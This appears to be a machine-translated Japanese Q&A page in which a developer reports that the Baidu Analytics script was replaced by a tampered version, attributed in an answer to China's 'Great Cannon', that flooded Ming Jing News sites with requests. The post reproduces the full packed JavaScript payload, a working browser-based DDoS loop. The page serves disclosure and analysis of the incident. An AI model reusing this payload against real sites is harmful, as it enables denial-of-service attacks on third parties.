web-dev-qa-db-ja.com

Baidu TongJi(Analytics)のJavascriptコードをランダムに置き換えて、ブラウザー上のWebサイトにDDOS攻撃を行うのは何ですか?

更新:

別のhm.js(Baidu TongJi JSライブラリ)がロードされているようです。 DDOS攻撃が観察されない場合、標準のhm.jsがロードされます。 DDOSがある場合、まったく異なるhm.jsがロードされます。中国の大ファイアウォールがコードを変更しているのではないかと思います。

これは、DDOSを起動するように変更されたhm.jsです。

// the following code launches DDOS against sites like mingjingnews.com

eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    }
    ;
    if (!''.replace(/^/, String)) {
        while (c--)
            d[e(c)] = k[c] || e(c);
        k = [function(e) {
            return d[e]
        }
        ];
        e = function() {
            return '\\w+'
        }
        ;
        c = 1;
    }
    ;while (c--)
        if (k[c])
            p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]);
    return p;
}('c((/15\\/([\\d]+)/16.17(l.A.D.E())[1]>=12)&&(l.A.D.E().14("18")<0)){3 G=1c;3 p=[\'i://1d.o.j/\',\'i://1e.o.j/\',\'i://19.o.j/\',\'i://1a.1b.j/\',\'i://S.o.j/U/Y/Z.11\'];3 J=V;3 n=W;3 N=10;3 v=1;g u(){3 a=e 7();H 7.X(a.T(),a.1w(),a.1x(),a.1v(),a.P(),a.L())/R}h.C("F")[0].I="<1t 1u=\\"B\\" 1y=\\"1C-B\\">"+h.C("F")[0].I;3 6=[];3 f=[];3 x=5;3 b=[];3 9=[];3 w=\'\';3 m=0;g q(2){3 8=6[2];c(8!=5){h.z.1B(8)}6[2]=5;c(m<J&&9[2]-x<G){O(\'s(\'+2+\')\',(9[2]-b[2])>n?n:(9[2]-b[2]))}}g Q(2){c(6[2]==5){H}c(6[2].1j){l.y(f[2]);9[2]=e 7().k();q(2)}1k{c(e 7().k()-b[2]>n){l.y(f[2]);q(2)}}}g s(2){8=h.z.1q(h.1r(\'1m\'));w=p[u()%p.1o];8.1n=w+\'?t=\'+u()+M.1p(M.1l()*1h);8.1g.1f=\'1i\';6[2]=8;b[2]=9[2]=e 7().k();f[2]=1s("Q("+2+")",1A);m=m+1}g K(){x=e 7().k();1z(3 4=0;4<N;4+=1){6[4]=5;f[4]=5;b[4]=5;9[4]=5;s(4)}}3 r=e 7();O(\'K()\',((v-r.P()%v)*13-r.L())*R)}', 62, 101, '||index|var|ti|null|p_img_list|Date|p_img_tmp|responsetime_list|dt|requesttime_list|if||new|timer_list|function|document|http|com|getTime|window|count|TIMEGAP|mingjingnews|url_list|imgdel|now|imgadd||unixtime|START_CLOCK|url|starttime|clearInterval|body|navigator|referrer|getElementsByTagName|userAgent|toLowerCase|head|MAX_TIME|return|innerHTML|MAX_COUNT|start|getSeconds|Math|THREAD|setTimeout|getMinutes|isImgComplete|1000|bravo1|getFullYear|2017|100000000|500|UTC|01|bravo||html|34|60|indexOf|chrome|gi|exec|Edge|tv2|www|mingjingtimes|300000|news2|s3|display|style|100|none|complete|else|random|img|src|length|ceil|appendChild|createElement|setInterval|meta|name|getHours|getMonth|getDate|content|for|50|removeChild|no'.split('|'), 0, {}))

これを、DDOSが存在しない 元のhm.jsコード と比較してください。

これらの2つのhm.jsライブラリーはどちらも、まったく同じアドレスからのものです。


Developer Console in Chrome

Baidu TongJi(Analytics)を使用しているサイトがあります。他のほとんどのJavaScriptライブラリと同様に、JavaScriptの行をHTMLに挿入することで行われます。

module.exports = function(id) {
if (!id) {
    throw new Error('请填写百度统计id');
}
    var Elm = document.createElement('script');
    Elm.src = '//hm.baidu.com/hm.js?' + id;
    var body = document.getElementsByTagName('body')[0];
    body.appendChild(Elm);
}

恐ろしいことに、いったん初期化されると、ブラウザのコンソールとネットワーク画面は、わずか100秒でMing Jing News(中国の共産主義政府によると偽のニュース)への約3000以上のネットワーク要求で溢れ、停止するまで続きました。それ。

これは、BaiduのCDNを使用してGitHubに攻撃を仕掛けるために万里の長城が使用された前回と似ていると思い始めています。

私は現在、中国の外から百度を呼んでいます、そしてこれが正常であるかどうか疑問に思っています...中国内の人々はこれから免れるでしょうか?

22
williamli

kos による現在削除された回答で示唆されているように、これは中国で採用されている(比較的)新しい形式の攻撃です。 2015年のGitHubへの攻撃によって有名になりました。この形式の攻撃は現在「大砲」として知られています。

詳細は Brian Krebsのセキュリティブログ を参照してください。

The Great Cannon

8
williamli